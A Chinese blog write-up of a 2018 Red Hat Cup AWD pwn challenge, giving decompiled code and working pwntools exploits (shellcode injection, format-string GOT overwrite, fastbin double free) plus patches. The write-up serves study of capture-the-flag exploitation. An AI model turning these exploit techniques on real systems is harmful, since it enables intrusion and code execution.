kir[A]'s 小黑屋

红帽杯2018线下赛AWD PWN(更新格式化字符利用)

字数统计: 1.1k阅读时长: 6 min
2018/06/01 Share

今年红帽杯给web题恶心到了,刚备份的代码已经有某国企的3个不死马,不知道如何做到这么快的,题目质量也堪忧,跟去年的没法比。比赛过程花太多时间在web,都没好好看看pwn,其实很简单,血亏T_T….

保护情况

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
__int64 savedregs; // [rsp+10h] [rbp+0h]

sub_CC2(); // 初始化
puts("[HFS V0.0.1]");
while ( 1 )
{
printf(">>>", a2);
a2 = (char **)(&dword_30 + 2);
get_str(s2, 50);
for ( i = 0; i <= 5; ++i )
{
a2 = (char **)s2;
if ( !strcmp((const char *)qword_202100[i], s2) ) //下断点
break;
}
switch ( (unsigned int)&savedregs )
{
case 0u:
ls();
break;
case 1u:
touch();
break;
case 2u:
puts("bye!");
exit(0);
return;
case 3u:
rm();
break;
case 4u:
su();
break;
case 5u:
sh();
break;
default:
printf(s2, a2); // 格式化字符
printf(" :command not found!");
break;
}
}
}

看样子是一个自己实现的shell,至于有哪些命令,可以下个断点去看看,发现只有ls touch rm su sh exit6个命令。

shellcode

程序本来是开启了NX,不过留意一下初始化的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
for ( i = 0; i <= 5; ++i )
qword_202100[i] = (__int64)malloc(0x14uLL);
v0 = qword_202100[0];
*(_WORD *)qword_202100[0] = 'sl';
*(_BYTE *)(v0 + 2) = 0;
v1 = qword_202108;
*(_DWORD *)qword_202108 = 'cuot';
*(_WORD *)(v1 + 4) = 104;
v2 = qword_202110;
*(_DWORD *)qword_202110 = 'tixe';
*(_BYTE *)(v2 + 4) = 0;
v3 = qword_202118;
*(_WORD *)qword_202118 = 'mr';
*(_BYTE *)(v3 + 2) = 0;
v4 = qword_202120;
*(_WORD *)qword_202120 = 'us';
*(_BYTE *)(v4 + 2) = 0;
v5 = qword_202128;
*(_WORD *)qword_202128 = 'hs';
*(_BYTE *)(v5 + 2) = 0;
v6 = time(0LL);
srand(v6);
v7 = rand();
src = (char *)mmap(
(void *)(((v7 + 16) << 12) + (unsigned int)((unsigned int)((v7 + 16) << 12) >= 0xFFFFFFFF)),
0x1000uLL,
7,
50,
-1,
0LL);
v8 = src;
*(_QWORD *)src = '$4�\x01\v eh';
*((_QWORD *)v8 + 1) = 'no�H\x01\x01\x01\x01';
*((_QWORD *)v8 + 2) = 'HPeineD ';
*((_QWORD *)v8 + 3) = 'ssimreP�';
*((_QWORD *)v8 + 4) = '_\x01jX\x01jPi';
*((_QWORD *)v8 + 5) = '\x05\x0F��HZ\x13j';
*((_WORD *)v8 + 24) = '��';
v8[50] = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);

可以留意到程序初始化了几个命令,并且将src的内存段mmap了,那么src可以执行shellcode。然后转到su()看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
dest = s2;
memset(&s, 0, 0x7D0uLL);
printf("Please input verify code:", 0LL);
get_str(src, 2018);
for ( i = 0; i <= 1999 && src[i]; ++i )
{
if ( !(src[i] & 1) && src[i] != 2 )
{
puts("invalid");
return __readfsqword(0x28u) ^ v4;
}
}
strcpy(dest, src);
puts("check passed,enjoy!");

这里可以对src进行写入,直接写shellcode好了。

1
2
3
4
5
6
def foo1():
shellcode = asm(shellcraft.sh())
p.sendlineafter('>>>','su')
p.sendlineafter('code:',shellcode)
p.sendlineafter('>>>','sh')
p.sendline('cat /flag')

格式化字符串

输错命令就可以直接触发漏洞,这里可以用来泄露程序基址,libc基址和stack地址

1
2
3
4
5
6
7
8
9
10
11
12
13
def leak_elf():
p.sendlineafter(">>>","%8$p")
init_addr = int(p.recv(14),16)
init_offset = 0x56427404f3c0 - 0x56427404e000
elf.base = init_addr - init_offset
success('elf.base:%s' %hex(elf.base))

def leak_libc():
p.sendlineafter(">>>","%9$p")
libc_start_main_addr = int(p.recv(14),16)
libc_start_main_offset = libc.symbols["__libc_start_main"]
libc.base = libc_start_main_addr - libc_start_main_offset - 0xf0
success('libc.base:%s' %hex(libc.base))

由于字符串存在bss段,利用方法比较麻烦,思路是利用stack上的地址进行跳转,修改printf@got.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
leak_elf()
leak_libc()
rbp_addr = leak_stack() - 0xe8
success('rbp_addr:%s' %hex(rbp_addr))
#step1:overwrite stack to stack # printf@got.plt 0x202048
payload = hn((rbp_addr+0x28) & 0xffff,(6+0x5)) # 0x7ffe2168cb48 -> 0x7ffe2168ca88
payload += hn(2,6+0x13)
p.sendlineafter('>>>',payload+'\x00')
#step2:overwrite stack to printf@got.plt
payload = hhn((elf.got['printf'] >> 16 & 0xff),6+0x21)
payload += hn((elf.got['printf'] & 0xffff)-(elf.got['printf'] >> 16 & 0xff),6+0x1f)
p.sendlineafter('>>>',payload+'\x00')
#step3:overwrite stack to stack
payload = hn((rbp_addr+0x40) & 0xffff,(6+0x5))
payload += hn(2,6+0x13)
p.sendlineafter('>>>',payload+'\x00')
#step4:overwrite stack to printf@got.plt+2
payload = hhn((elf.got['printf']+2 >> 16 & 0xff),6+0x21)
payload += hn((elf.got['printf']+2 & 0xffff)-(elf.got['printf']+2 >> 16 & 0xff),6+0x1f)
p.sendlineafter('>>>',payload+'\x00')
#step5:overwrite printf@got.plt to system@plt
payload = hhn((libc.symbols['system'] >> 16 & 0xff),6+0xa)
payload += hn((libc.symbols['system'] & 0xffff)-(libc.symbols['system'] >> 16 & 0xff),6+0x7)
p.sendlineafter('>>>',payload+'\x00')

fastbin attach

malloc的大小可控,可以用fastbin dup来修改free@got.plt

由于固定输入读取长度是90,可以直接溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def touch(size,content):
p.sendlineafter(">>>","touch")
p.sendlineafter("Size:",str(size))
p.sendlineafter("content:",content)
p.recvuntil('\n',timeout=0.5)

def ls():
p.sendlineafter(">>>","ls")

def rm(idx):
p.sendlineafter(">>>","rm")
p.sendlineafter("Index:",str(idx))

def foo2():
leak_elf()
leak_libc()
touch(0x10,'0') #0
touch(0x10,'1') #1
touch(0x10,'cat /flag\x00')
rm(0)
rm(1)
rm(0)
fake = elf.address + 0x202018 - 0x1e
touch(0x10,p64(fake))
touch(0x10,'2')
touch(0x10,'3')
touch(0x10,'\x00'*0xe+p64(libc.symbols['system']))
rm(2)
p.recv()

patch方法

shellcode:

直接修改shellcode的输入长度

1
2
printf("Please input verify code:", 0LL);
get_str(src, 16);

double free:

修改检查标识位校验,防止double free

1
2
3
4
if ( v1 >= 0 && v1 <= 9 && *(_QWORD *)&used_tag[2 * v1] )
{
free((void *)file_list[v1]);
used_tag[v1] = 0;

格式化字符串:

printfputs

1
2
puts(s2);                              
printf(" :command not found!", a2);

总结

不知道还有没有其他的利用方法,有大佬知道的麻烦告知。最后说一句,垃圾比赛~

CATALOG
  1. 1. 保护情况
  2. 2. 程序分析
  3. 3. shellcode
  4. 4. 格式化字符串
  5. 5. fastbin attach
  6. 6. patch方法
    1. 6.1. shellcode:
    2. 6.2. double free:
    3. 6.3. 格式化字符串:
  7. 7. 总结